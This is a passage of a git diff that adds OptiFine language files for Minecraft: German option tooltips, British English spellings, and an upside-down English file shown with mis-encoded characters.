dargestellt (Standard) +of.options.SHOW_CAPES.tooltip.3= Aus - Umhänge werden nicht dargestellt +of.options.SHOW_CAPES.tooltip.4=Diese Einstellung beeinflusst normalerweise nicht die +of.options.SHOW_CAPES.tooltip.5=Leistung. + +of.options.TRANSLUCENT_BLOCKS=Blocktransparenz +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Blocktransparenz +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Standard - Wie Grafikmodus +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Schön - Korrekte Farbmischung (langsamer) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Schnell - Schnelle Farbmischung (schneller) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Kontrolliert die Farbmischung von transparenten Blöcken +of.options.TRANSLUCENT_BLOCKS.tooltip.6=mit verschiedenen Farben (Gefärbtes Glas, Wasser, Eis), +of.options.TRANSLUCENT_BLOCKS.tooltip.7=wenn sie hintereinander mit Luft dazwischen platziert +of.options.TRANSLUCENT_BLOCKS.tooltip.8=werden. + +of.options.HELD_ITEM_TOOLTIPS=Gegenstandsbeschr. +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Gegenstandsbeschreibung +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= An - Zeige Gegenstandsbeschreibung (Standard) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= Aus - Zeige keine Gegenstandsbeschreibung +of.options.HELD_ITEM_TOOLTIPS.tooltip.4=Wird über der Schnellzugriffsleiste angezeigt. + +of.options.ADVANCED_TOOLTIPS=Erweiterte Schnellinfo +of.options.ADVANCED_TOOLTIPS.tooltip.1=Erweiterte Schnellinfo +of.options.ADVANCED_TOOLTIPS.tooltip.2= An - Zeige erweiterte Schnellinfo +of.options.ADVANCED_TOOLTIPS.tooltip.3= Aus - Keine erweiterte Schnellinfo (Standard) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Zeigt ausführliche Informationen über Gegenstände +of.options.ADVANCED_TOOLTIPS.tooltip.5=(ID, Haltbarkeit) und Shader Einstellungen (ID, Quelle, +of.options.ADVANCED_TOOLTIPS.tooltip.6=Standardwert) an. + +of.options.DROPPED_ITEMS=Gegenstände +of.options.DROPPED_ITEMS.tooltip.1=Liegende Gegenstände +of.options.DROPPED_ITEMS.tooltip.2= Standard - Wie Grafikmodus +of.options.DROPPED_ITEMS.tooltip.3= Schnell - Zweidimensionale Animation (schneller) +of.options.DROPPED_ITEMS.tooltip.4= Schön - Dreidimensionale Animation (langsamer) + +options.entityShadows.tooltip.1=Objektschatten +options.entityShadows.tooltip.2= An - Zeige Objektschatten +options.entityShadows.tooltip.3= Aus - Zeige keine Objektschatten + +of.options.VIGNETTE=Vignette +of.options.VIGNETTE.tooltip.1=Visueller Effekt, der die Bildschirmecken abdunkelt +of.options.VIGNETTE.tooltip.2= Standard - Wie Grafikmodus (Standard) +of.options.VIGNETTE.tooltip.3= Schnell - Vignette deaktiviert (schneller) +of.options.VIGNETTE.tooltip.4= Schön - Vignette aktiviert (langsamer) +of.options.VIGNETTE.tooltip.5=Die Vignette kann sich extrem auf die Leistung auswirken, +of.options.VIGNETTE.tooltip.6=besonders im Vollbildschirmmodus. +of.options.VIGNETTE.tooltip.7=Der Vignetteneffekt ist fast unmerklich und kann sicher +of.options.VIGNETTE.tooltip.8=deaktiviert werden. + +of.options.DYNAMIC_FOV=Dynamisches Sichtfeld +of.options.DYNAMIC_FOV.tooltip.1=Dynamisches Sichtfeld +of.options.DYNAMIC_FOV.tooltip.2= An - Dynamisches Sichtfeld aktivieren (Standard) +of.options.DYNAMIC_FOV.tooltip.3= Aus - Dynamisches Sichtfeld ausschalten +of.options.DYNAMIC_FOV.tooltip.4=Ändert das Sichtfeld beim Fliegen, Sprinten, Spannen +of.options.DYNAMIC_FOV.tooltip.5=eines Bogens oder wenn man einen Schnelligkeits-Effekt hat. + +of.options.DYNAMIC_LIGHTS=Dyn. Beleuchtung +of.options.DYNAMIC_LIGHTS.tooltip.1=Dynamische Beleuchtung +of.options.DYNAMIC_LIGHTS.tooltip.2= Aus - Keine dynamische Beleuchtung (Standard) +of.options.DYNAMIC_LIGHTS.tooltip.3= Schnell - Schnelle dyn. Beleuchtung (alle 500ms aktual.) +of.options.DYNAMIC_LIGHTS.tooltip.4= Schön - Schöne dyn. Beleuchtung (Echtzeitaktual.) +of.options.DYNAMIC_LIGHTS.tooltip.5=Leuchtende Gegenstände (Fackel, Glowstone, etc.) +of.options.DYNAMIC_LIGHTS.tooltip.6=beleuchten die Umgebung, wenn sie in der Hand gehalten, +of.options.DYNAMIC_LIGHTS.tooltip.7=von anderen Spielern ausgerüstet oder gedroppt werden. + +# Performance + +of.options.SMOOTH_FPS=Stabile Bildrate +of.options.SMOOTH_FPS.tooltip.1=Stabilisiert Bildrate durch Grafiktreiberpuffer +of.options.SMOOTH_FPS.tooltip.2= Aus - Keine Stabilisierung, Bildrate könnte schwanken +of.options.SMOOTH_FPS.tooltip.3= An - Stabilisierung der Bildrate +of.options.SMOOTH_FPS.tooltip.4=Diese Einstellung ist abhängig vom Grafikkartentreiber. +of.options.SMOOTH_FPS.tooltip.5=Eine Wirkung ist nicht immer spürbar. + +of.options.SMOOTH_WORLD=Weltstabilisierung +of.options.SMOOTH_WORLD.tooltip.1=Entfernt vom internen Server verursachte starke Lags +of.options.SMOOTH_WORLD.tooltip.2= Aus - Keine Stabilisierung, Bildrate könnte schwanken +of.options.SMOOTH_WORLD.tooltip.3= An - Weltstabilisierung aktiviert +of.options.SMOOTH_WORLD.tooltip.4=Stabilisiert die Bildrate, indem die interne Server- +of.options.SMOOTH_WORLD.tooltip.5=auslastung aufgeteilt wird. +of.options.SMOOTH_WORLD.tooltip=6=Funktioniert nur im Einzelspielermodus. + +of.options.FAST_RENDER=Schnelles Rendern +of.options.FAST_RENDER.tooltip.1=Schnelles Rendern +of.options.FAST_RENDER.tooltip.2= Aus - Standard-Rendern (Standard) +of.options.FAST_RENDER.tooltip.3= An - Optimiertes Rendern (schneller) +of.options.FAST_RENDER.tooltip.4=Benutzt optimierte Renderalgorithmen, die die GPU-Aus- +of.options.FAST_RENDER.tooltip.5=lastung verringern und die Leistung erheblich steigern. +of.options.FAST_RENDER.tooltip.6=Dies kann zu Konflikten mit einigen Mods führen. + +of.options.FAST_MATH=Schnelle Mathematik +of.options.FAST_MATH.tooltip.1=Schnelle Mathematik +of.options.FAST_MATH.tooltip.2= Aus - Standard-Mathematik (Standard) +of.options.FAST_MATH.tooltip.3= An - Schnellere Mathematik +of.options.FAST_MATH.tooltip.4=Benutzt optimierte Sinus- und Kosinusfunktionen, die den +of.options.FAST_MATH.tooltip.5=CPU-Zwischenspeicher besser nutzen und die Leistung +of.options.FAST_MATH.tooltip.6=steigern. +of.options.FAST_MATH.tooltip.7=Dies kann die Weltgeneration geringfügig beeinflussen. + +of.options.CHUNK_UPDATES=Chunk-Aktualisierungen +of.options.CHUNK_UPDATES.tooltip.1=Chunk-Aktualisierungen +of.options.CHUNK_UPDATES.tooltip.2= 1 - Langsameres Weltladen, höhere Bildrate (Standard) +of.options.CHUNK_UPDATES.tooltip.3= 3 - Schnelleres Weltladen, niedrigere Bildrate +of.options.CHUNK_UPDATES.tooltip.4= 5 - Schnellstes Weltladen, niedrigste Bildrate +of.options.CHUNK_UPDATES.tooltip.5=Zahl an Chunk-Aktualisierungen pro gerendertem Bild. +of.options.CHUNK_UPDATES.tooltip.6=Höhere Werte könnten die Bildrate destabilisieren. + +of.options.CHUNK_UPDATES_DYNAMIC=Dyn. Aktualisierungen +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dynamische Chunk-Aktualisierungen +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= Aus - (Standard) Normale Chunk-Aktualisierungen +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= An - Mehr Chunk-Aktualisierungen +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Wenn diese Einstellung aktiviert ist, werden mehr Chunk- +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=Aktualisierungen ausgeführt, während der Spieler still +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=steht, um die Welt schneller zu laden. + +of.options.LAZY_CHUNK_LOADING=Träges Chunkladen +of.options.LAZY_CHUNK_LOADING.tooltip.1=Träges Chunkladen +of.options.LAZY_CHUNK_LOADING.tooltip.2= Aus - Standard-Server-Chunkladen +of.options.LAZY_CHUNK_LOADING.tooltip.3= An - Träges Server-Chunkladen (flüssiger) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Server-Chunkladen wird flüssiger, indem die Chunks über +of.options.LAZY_CHUNK_LOADING.tooltip.5=ein paar Ticks hinweg geladen werden. Deaktiviere dies, +of.options.LAZY_CHUNK_LOADING.tooltip.6=wenn Teile der Welt nicht korrekt geladen werden. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Nur im Einzelspielermodus effektiv. + +of.options.RENDER_REGIONS=Render-Regionen +of.options.RENDER_REGIONS.tooltip.1=Render-Regionen +of.options.RENDER_REGIONS.tooltip.2= Aus - (Standard) Render-Regionen deaktiviert +of.options.RENDER_REGIONS.tooltip.3= An - Render-Regionen aktiviert +of.options.RENDER_REGIONS.tooltip.4=Render-Regionen ermöglichen ein schnelleres Rendern +of.options.RENDER_REGIONS.tooltip.5=des Geländes bei großen Render-Distanzen. +of.options.RENDER_REGIONS.tooltip.6=Effektiver, wenn VBOs aktiviert sind. +of.options.RENDER_REGIONS.tooltip.6=Nicht für integrierte Grafikkarten empfohlen. + +of.options.SMART_ANIMATIONS=Intelligente Animationen +of.options.SMART_ANIMATIONS.tooltip.1=Intelligente Animationen +of.options.SMART_ANIMATIONS.tooltip.2= Aus - Keine intelligenten Animationen (Standard) +of.options.SMART_ANIMATIONS.tooltip.3= An - Benutze intelligente Animationen +of.options.SMART_ANIMATIONS.tooltip.4=Es werden nur Texturen animiert, die gerade auf +of.options.SMART_ANIMATIONS.tooltip.5=dem Bildschirm sichtbar sind. +of.options.SMART_ANIMATIONS.tooltip.6=Dies reduziert Lag-Spitzen und erhöht die FPS. +of.options.SMART_ANIMATIONS.tooltip.7=Besonders nützlich bei großen Mod-Packs und +of.options.SMART_ANIMATIONS.tooltip.8=Ressourcenpaketen mit HD-Texturen. + +# Animations + +of.options.animation.allOn=Alle an +of.options.animation.allOff=Alle aus +of.options.animation.dynamic=Dynamisch + +of.options.ANIMATED_WATER=Animiertes Wasser +of.options.ANIMATED_LAVA=Animierte Lava +of.options.ANIMATED_FIRE=Animiertes Feuer +of.options.ANIMATED_PORTAL=Animierte Portale +of.options.ANIMATED_REDSTONE=Animiertes Redstone +of.options.ANIMATED_EXPLOSION=Animierte Explosion +of.options.ANIMATED_FLAME=Animierte Flammen +of.options.ANIMATED_SMOKE=Animierter Rauch +of.options.VOID_PARTICLES=Leerepartikel +of.options.WATER_PARTICLES=Wasserpartikel +of.options.RAIN_SPLASH=Regengeplätscher +of.options.PORTAL_PARTICLES=Portalpartikel +of.options.POTION_PARTICLES=Trankpartikel +of.options.DRIPPING_WATER_LAVA=Wasser- & Lavatropfen +of.options.ANIMATED_TERRAIN=Animiertes Gelände +of.options.ANIMATED_TEXTURES=Animierte Texturen +of.options.FIREWORK_PARTICLES=Feuerwerkspartikel + +# Other + +of.options.LAGOMETER=Lagometer +of.options.LAGOMETER.tooltip.1=Zeigt das Lagometer auf dem Debugbildschirm (F3). +of.options.LAGOMETER.tooltip.2=* Orange - Speichermüllsammlung +of.options.LAGOMETER.tooltip.3=* Cyan - Tick +of.options.LAGOMETER.tooltip.4=* Blau - Geplante Ausführungen +of.options.LAGOMETER.tooltip.5=* Lila - Chunks hochladen +of.options.LAGOMETER.tooltip.6=* Rot - Chunkaktualisierungen +of.options.LAGOMETER.tooltip.7=* Gelb - Sichtbarkeitstest +of.options.LAGOMETER.tooltip.8=* Grün - Gelände rendern + +of.options.PROFILER=Debug-Diagramm +of.options.PROFILER.tooltip.1=Debug-Diagramm +of.options.PROFILER.tooltip.2= An - Debug-Diagramm ist aktiviert, langsamer +of.options.PROFILER.tooltip.3= Aus - Debug-Diagramm ist nicht aktiviert, schneller +of.options.PROFILER.tooltip.4=Das Debug-Diagramm sammelt und stellt Debuginforma- +of.options.PROFILER.tooltip.5=tionen dar, wenn der Debugbildschirm geöffnet ist (F3). + +of.options.WEATHER=Wetter +of.options.WEATHER.tooltip.1=Wetter +of.options.WEATHER.tooltip.2= An - Wetter ist aktiv, langsamer +of.options.WEATHER.tooltip.3= Aus - Wetter ist nicht aktiv, schneller +of.options.WEATHER.tooltip.4=Das Wetter kontrolliert Regen, Schnee und Gewitter. +of.options.WEATHER.tooltip.5=Wetterkontrolle ist nur im Einzelspielermodus möglich. + +of.options.time.dayOnly=Nur Tag +of.options.time.nightOnly=Nur Nacht + +of.options.TIME=Zeit +of.options.TIME.tooltip.1=Zeit +of.options.TIME.tooltip.2= Standard - Normaler Tag-Nacht-Zyklus +of.options.TIME.tooltip.3= Nur Tag - Nur Tag +of.options.TIME.tooltip.4= Nur Nacht - Nur Nacht +of.options.TIME.tooltip.5=Diese Einstellung ist nur im Kreativmodus und +of.options.TIME.tooltip.6=im Einzelspielermodus wirksam. + +options.fullscreen.tooltip.1=Vollbildschirm +options.fullscreen.tooltip.2= An - Benutze Vollbildschirmmodus +options.fullscreen.tooltip.3= Aus - Benutze Fenstermodus +options.fullscreen.tooltip.4=Der Vollbildschirmmodus könnte schneller oder langsamer +options.fullscreen.tooltip.5=als der Fenstermodus sein, das kommt auf die Grafik- +options.fullscreen.tooltip.6=karte an. + +of.options.FULLSCREEN_MODE=Vollbild-Auflösung +of.options.FULLSCREEN_MODE.tooltip.1=Vollbild-Auflösung +of.options.FULLSCREEN_MODE.tooltip.2= Standard - Benutze Bildschirmauflösung, langsamer +of.options.FULLSCREEN_MODE.tooltip.3= BxH - Benutze andere Auflösung, könnte schneller sein +of.options.FULLSCREEN_MODE.tooltip.4=Die ausgewählte Auflösung wird im Vollbildschirmmodus +of.options.FULLSCREEN_MODE.tooltip.5=verwendet (F11). Kleinere Auflösungen sollten generell +of.options.FULLSCREEN_MODE.tooltip.6=schneller sein. + +of.options.SHOW_FPS=Bildrate anzeigen +of.options.SHOW_FPS.tooltip.1=Zeige kurze Bildrate- und Render-Informationen +of.options.SHOW_FPS.tooltip.2= Fps - durchschnittlich/minimum +of.options.SHOW_FPS.tooltip.3= C: - Chunkrenderer +of.options.SHOW_FPS.tooltip.4= E: - Objektrenderer + Blockrenderer +of.options.SHOW_FPS.tooltip.5= U: - Chunk-Aktualisierungen +of.options.SHOW_FPS.tooltip.6=Die Bildrate-Informationen werden nur gezeigt, wenn der +of.options.SHOW_FPS.tooltip.7=Debugbildschirm (F3) nicht sichtbar ist. + +of.options.save.45s=45s +of.options.save.90s=90s +of.options.save.3min=3min +of.options.save.6min=6min +of.options.save.12min=12min +of.options.save.24min=24min + +of.options.AUTOSAVE_TICKS=Autospeichern +of.options.AUTOSAVE_TICKS.tooltip.1=Autospeicherintervall +of.options.AUTOSAVE_TICKS.tooltip.2= 45s - Standard +of.options.AUTOSAVE_TICKS.tooltip.3=Autospeichern kann abhängig von der Render Distanz zu +of.options.AUTOSAVE_TICKS.tooltip.4=Lag-Spitzen führen. +of.options.AUTOSAVE_TICKS.tooltip.5=Die Welt wird auch gespeichert, wenn das Menü geöffnet ist. + +of.options.SCREENSHOT_SIZE=Screenshot-Größe +of.options.SCREENSHOT_SIZE.tooltip.1=Screenshot-Auflösung +of.options.SCREENSHOT_SIZE.tooltip.2= Standard - Standard-Screenshot-Auflösung +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - Benutzerdefinierte Screenshot-Auflösung +of.options.SCREENSHOT_SIZE.tooltip.4=Das Aufnehmen größerer Screenshots kann mehr +of.options.SCREENSHOT_SIZE.tooltip.5=Speicher benötigen. +of.options.SCREENSHOT_SIZE.tooltip.6=Nicht kompatibel mit Schnellem Rendern und Antialiasing. +of.options.SCREENSHOT_SIZE.tooltip.7=Erfordert Grafiktreiberpuffer-Unterstützung. + +of.options.SHOW_GL_ERRORS=Zeige OpenGL Fehler +of.options.SHOW_GL_ERRORS.tooltip.1=Zeige OpenGL Fehler +of.options.SHOW_GL_ERRORS.tooltip.2=OpenGL Fehler werden im Chat angezeigt. +of.options.SHOW_GL_ERRORS.tooltip.3=Deaktiviere dies nur, wenn ein bekannter Fehler +of.options.SHOW_GL_ERRORS.tooltip.4=vorliegt und dieser nicht behoben werden kann. +of.options.SHOW_GL_ERRORS.tooltip.5=Auch nach Deaktivierung werden Fehler in der Log Datei +of.options.SHOW_GL_ERRORS.tooltip.6=festgehalten und es kann zu erheblichen FPS Einbrüchen +of.options.SHOW_GL_ERRORS.tooltip.7=kommen. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Chat Hintergrund +of.options.CHAT_BACKGROUND.tooltip.1=Chat Hintergrund +of.options.CHAT_BACKGROUND.tooltip.2= Standard - Feste Breite +of.options.CHAT_BACKGROUND.tooltip.3= Kompakt - Entspricht Zeilenbreite +of.options.CHAT_BACKGROUND.tooltip.4= Aus - Versteckt + +of.options.CHAT_SHADOW=Chat Schatten +of.options.CHAT_SHADOW.tooltip.1=Chat Schatten +of.options.CHAT_SHADOW.tooltip.2= An - Zeige Textschatten +of.options.CHAT_SHADOW.tooltip.3= Aus - Kein Textschatten diff --git a/src/assets/minecraft/optifine/lang/en_gb.lang b/src/assets/minecraft/optifine/lang/en_gb.lang new file mode 100644 index 00000000..fee2b5d6 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/en_gb.lang @@ -0,0 +1,57 @@ +# Translator = sp614x, Diego R. V. + +# Video Settings + +options.anaglyph.tooltip.2=Enables a stereoscopic 3D effect using different colours + +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=recognise light emitting items in the main hand + +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Lower values = inexact, coarser shadows + +# Quality + +of.options.AA_LEVEL.tooltip.5=sharp colour transitions. + +of.options.CUSTOM_COLORS=Custom Colours +of.options.CUSTOM_COLORS.tooltip.1=Custom Colours +of.options.CUSTOM_COLORS.tooltip.2= ON - uses custom colours (default), slower +of.options.CUSTOM_COLORS.tooltip.3= OFF - uses default colours, faster +of.options.CUSTOM_COLORS.tooltip.4=The custom colours are supplied by the current +of.options.CUSTOM_COLORS.tooltip.5=resource pack + +of.options.SWAMP_COLORS=Swamp Colours +of.options.SWAMP_COLORS.tooltip.1=Swamp Colours +of.options.SWAMP_COLORS.tooltip.2= ON - use swamp colours (default), slower +of.options.SWAMP_COLORS.tooltip.3= OFF - do not use swamp colours, faster +of.options.SWAMP_COLORS.tooltip.4=The swamp colours affect grass, leaves, vines and water. + +of.options.SMOOTH_BIOMES.tooltip.5=averaging the colour of all surrounding blocks. + +# Details + +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Fancy - correct colour blending (default) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Fast - fast colour blending (faster) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Controls the colour blending of translucent blocks +of.options.TRANSLUCENT_BLOCKS.tooltip.6=with different colour (stained glass, water, ice) + +# Performance + +of.options.SMOOTH_FPS.tooltip.1=Stabilises FPS by flushing the graphic driver buffers. +of.options.SMOOTH_FPS.tooltip.2= OFF - no stabilisation, FPS may fluctuate +of.options.SMOOTH_FPS.tooltip.3= ON - FPS stabilisation + +of.options.SMOOTH_WORLD.tooltip.2= OFF - no stabilisation, FPS may fluctuate +of.options.SMOOTH_WORLD.tooltip.3= ON - FPS stabilisation +of.options.SMOOTH_WORLD.tooltip.4=Stabilises FPS by distributing the internal server load. + +of.options.FAST_RENDER.tooltip.3= ON - optimised rendering (faster) +of.options.FAST_RENDER.tooltip.4=Uses optimised rendering algorithm which decreases + +of.options.FAST_MATH=Fast Maths +of.options.FAST_MATH.tooltip.1=Fast Maths +of.options.FAST_MATH.tooltip.2= OFF - standard maths (default) +of.options.FAST_MATH.tooltip.3= ON - faster maths +of.options.FAST_MATH.tooltip.4=Uses optimised sin() and cos() functions which can +of.options.FAST_MATH.tooltip.5=better utilise the CPU cache and increase the FPS. + +of.options.CHUNK_UPDATES.tooltip.6=higher values may destabilise the framerate. diff --git a/src/assets/minecraft/optifine/lang/en_ud.lang b/src/assets/minecraft/optifine/lang/en_ud.lang new file mode 100644 index 00000000..a1db029b --- /dev/null +++ b/src/assets/minecraft/optifine/lang/en_ud.lang @@ -0,0 +1,765 @@ +# Contributors of British English (upside down) # +# DaDodger and sp614x for creating en_gb.lang +# Regnander for converting and proofreading the result + +# General +of.general.ambiguous=snonáµ·á´‰qÉ¯É +of.general.compact=ʇɔÉdɯoƆ +of.general.custom=ɯoʇsnƆ +of.general.from=ɯoɹℲ +of.general.id=pI +of.general.max=ɯnɯᴉxÉW +of.general.restart=ʇɹÉʇsÇɹ +of.general.smart=ʇɹÉɯS + +# Keys +of.key.zoom=ɯooZ + +# Message +of.message.aa.shaders2=Ë™sɹÇpÉÉ¥S É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” ʇou sá´‰ áµ·uá´‰sÉá´‰êžÉᴉʇuⱯ +of.message.aa.shaders1=Ë™uoᴉʇdo sᴉɥʇ ÇêžqÉuÇ oʇ sɹÇpÉÉ¥S ÇêžqÉsá´‰p ÇsÉÇêžÔ€ + +of.message.af.shaders2=Ë™sɹÇpÉÉ¥S É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” ʇou sá´‰ áµ·uᴉɹÇʇêžá´‰â„² ɔᴉdoɹʇosá´‰uⱯ +of.message.af.shaders1=Ë™uoᴉʇdo sᴉɥʇ ÇêžqÉuÇ oʇ sɹÇpÉÉ¥S ÇêžqÉsá´‰p ÇsÉÇêžÔ€ + +of.message.fr.shaders2=Ë™sɹÇpÉÉ¥S É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” ʇou sá´‰ ɹÇpuÇɹ ʇsÉℲ +of.message.fr.shaders1=Ë™uoᴉʇdo sᴉɥʇ ÇêžqÉuÇ oʇ sɹÇpÉÉ¥S ÇêžqÉsá´‰p ÇsÉÇêžÔ€ + +of.message.an.shaders2=Ë™sɹÇpÉÉ¥S É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” ʇou sá´‰ É¥dÊŽêžáµ·ÉuⱯ pÆ +of.message.an.shaders1=Ë™uoᴉʇdo sᴉɥʇ ÇêžqÉuÇ oʇ sɹÇpÉÉ¥S ÇêžqÉsá´‰p ÇsÉÇêžÔ€ + +of.message.shaders.aa2=˙ᵷuá´‰sÉá´‰êžÉᴉʇuⱯ É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” ʇou ÇÉ¹É sɹÇpÉÉ¥S +of.message.shaders.aa1=Ë™ÇɯÉáµ· Çɥʇ ʇɹÉʇsÇɹ puÉ â„²â„²O oʇ áµ·uá´‰sÉá´‰êžÉᴉʇuⱯ <- ʎʇᴉêžÉnQ ʇÇs ÇsÉÇêžÔ€ + +of.message.shaders.af2=˙ᵷuᴉɹÇʇêžá´‰â„² ɔᴉdoɹʇosá´‰uⱯ É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” ʇou ÇÉ¹É sɹÇpÉÉ¥S +of.message.shaders.af1=˙ℲℲO oʇ áµ·uᴉɹÇʇêžá´‰â„² ɔᴉdoɹʇosá´‰uⱯ <- ʎʇᴉêžÉnQ ʇÇs ÇsÉÇêžÔ€ + +of.message.shaders.fr2=˙ɹÇpuÇɹ ʇsÉℲ É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” ʇou ÇÉ¹É sɹÇpÉÉ¥S +of.message.shaders.fr1=˙ℲℲO oʇ ɹÇpuÇɹ ʇsÉℲ <- ÇÉ”uÉɯɹoɟɹÇÔ€ ʇÇs ÇsÉÇêžÔ€ + +of.message.shaders.an2=˙ɥdÊŽêžáµ·ÉuⱯ pÆ É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” ʇou ÇÉ¹É sɹÇpÉÉ¥S +of.message.shaders.an1=˙ℲℲO oʇ É¥dÊŽêžáµ·ÉuⱯ pÆ <- ɹÇɥʇo ʇÇs ÇsÉÇêžÔ€ + +of.message.shaders.nv2=s% :uoá´‰sɹÇÊŒ ÇuᴉℲᴉʇdO ɹÇÊÇu É sÇɹᴉnbÇɹ ʞɔÉd ɹÇpÉÉ¥s sᴉɥ⟘ +of.message.shaders.nv1=¿ÇnuᴉʇuoÉ” oʇ ʇuÉÊ noÊŽ Çɹns noÊŽ ÇɹⱯ + +of.message.newVersion=§e%s§f :ÇêžqÉêžá´‰ÉÊŒÉ sá´‰ uoá´‰sɹÇÊŒ §eÇuᴉℲᴉʇdO§f ÊÇu Ɐ +of.message.java64Bit=Ë™ÇÉ”uÉɯɹoɟɹÇd ÇsÉÇɹɔuá´‰ oʇ §eÉÊŒÉÅ¿ ʇᴉq-߈9§f êžêžÉʇsuá´‰ uÉÉ” noâ…„ +of.message.openglError=(s%) s% :§eɹoɹɹƎ ꞀפuÇdO§f + +of.message.shaders.loading=s% :sɹÇpÉÉ¥s áµ·uá´‰pÉoꞀ + +of.message.other.reset=¿sÇnêžÉÊŒ ʇêžnÉÉŸÇp ɹᴉÇɥʇ oʇ sáµ·uᴉʇʇÇs oÇpᴉʌ êžêžÉ ʇÇsÇá´š + +of.message.loadingVisibleChunks=sÊžunɥɔ Çêžqá´‰sᴉʌ áµ·uá´‰pÉoꞀ + +# Skin customization + +of.options.skinCustomisation.ofCape=˙˙˙ÇdÉƆ ÇuᴉℲᴉʇdO + +of.options.capeOF.title=ÇdÉƆ ÇuᴉℲᴉʇdO +of.options.capeOF.openEditor=ɹoʇᴉpÆŽ ÇdÉƆ uÇdO +of.options.capeOF.reloadCape=ÇdÉƆ pÉoêžÇá´š +of.options.capeOF.copyEditorLink=pɹÉoqdá´‰êžÆ† oʇ ÊžuᴉꞀ ÊŽdoƆ + +of.message.capeOF.openEditor=˙ɹÇsÊoɹq qÇÊ É uá´‰ uÇdo pêžnoÉ¥s ɹoʇᴉpÇ ÇdÉÉ” ÇuᴉℲᴉʇdO Çɥ⟘ +of.message.capeOF.openEditorError=˙ɹÇsÊoɹq qÇÊ É uá´‰ ÊžuᴉꞀ ɹoʇᴉpÇ Çɥʇ áµ·uá´‰uÇdo ɹoɹɹƎ +of.message.capeOF.reloadCape=Ë™spuoÉ”Çs ϛ⥠uá´‰ pÇpÉoêžÇɹ Çq êžêžá´‰Ê ÇdÉÉ” Çɥ⟘ + +of.message.capeOF.error2=pÇêžá´‰ÉÉŸ uoᴉʇÉɔᴉʇuÇɥʇnÉ áµ·uÉɾoW. +of.message.capeOF.error1=%s: ɹoɹɹƎ + +# Video settings + +options.graphics.tooltip.5=ʎʇᴉêžÉnb êžÉnsᴉΛ +options.graphics.tooltip.4=ɹÇʇsÉÉŸ 'ʎʇᴉêžÉnb ɹÇÊoêž - ʇsÉℲ +options.graphics.tooltip.3=ɹÇÊoêžs 'ʎʇᴉêžÉnb ɹÇɥᵷᴉɥ - ÊŽÉ”uÉℲ +options.graphics.tooltip.2='ɹÇʇÉÊ 'sÇÊŒÉÇêž 'spnoêžÉ” ÉŸo ÇÉ”uÉɹÉÇddÉ Çɥʇ sÇáµ·uÉɥƆ +options.graphics.tooltip.1=Ë™sÇpá´‰s ssÉɹᵷ puÉ sÊopÉÉ¥s + +of.options.renderDistance.tiny=ÊŽuᴉ⟘ +of.options.renderDistance.short=ʇɹoÉ¥S +of.options.renderDistance.normal=êžÉɯɹoN +of.options.renderDistance.far=ɹÉℲ +of.options.renderDistance.extreme=ÇɯÇɹʇxÆŽ +of.options.renderDistance.insane=ÇuÉsuI +of.options.renderDistance.ludicrous=snoɹɔᴉpnꞀ + +options.renderDistance.tooltip.8=ÇÉ”uÉʇsá´‰p Çêžqá´‰sᴉΛ +options.renderDistance.tooltip.7=(ʇsÇʇsÉÉŸ) É¯á˜”Æ - ÊŽuᴉ⟘ ᘔ +options.renderDistance.tooltip.6=(êžÉɯɹou) ɯ8ᘔ⥠- êžÉɯɹoN 8 +options.renderDistance.tooltip.5=(ɹÇÊoêžs) ɯ9ϛᘔ - ɹÉℲ 9⥠+options.renderDistance.tooltip.4=áµ·uá´‰puÉɯÇp ÇɔɹnosÇɹ ʎɹÇÊŒ (¡ʇsÇÊoêžs) ɯᘔâ¥Ï› - ÇɯÇɹʇxÆŽ á˜”Æ +options.renderDistance.tooltip.3=pÇʇÉÉ”oêžêžÉ WⱯɹ qפᘔ spÇÇu 'ɯ89ã„¥ - ÇuÉsuI 8߈ +options.renderDistance.tooltip.2=pÇʇÉÉ”oêžêžÉ WⱯɹ q×¤Æ spÇÇu 'ɯ߈ᘔ0⥠- snoɹɔᴉpnꞀ ߈9 +options.renderDistance.tooltip.1=Ë™spêžÉ¹oÊ êžÉÉ”oêž uá´‰ ÇʌᴉʇɔÇÉŸÉŸÇ ÊŽêžuo ÇÉ¹É É¹ÉℲ 9⥠ɹÇÊŒo sÇnêžÉΛ + +options.ao.tooltip.4=áµ·uá´‰Ê‡É¥áµ·á´‰êž É¥Ê‡ooɯS +options.ao.tooltip.3=(ɹÇʇsÉÉŸ) áµ·uá´‰Ê‡É¥áµ·á´‰êž É¥Ê‡ooɯs ou - ℲℲO +options.ao.tooltip.2=(ɹÇÊoêžs) áµ·uá´‰Ê‡É¥áµ·á´‰êž É¥Ê‡ooɯs Çêždɯᴉs - ɯnɯᴉuá´‰W +options.ao.tooltip.1=(ʇsÇÊoêžs) áµ·uá´‰Ê‡É¥áµ·á´‰êž É¥Ê‡ooɯs xÇêždɯoÉ” - 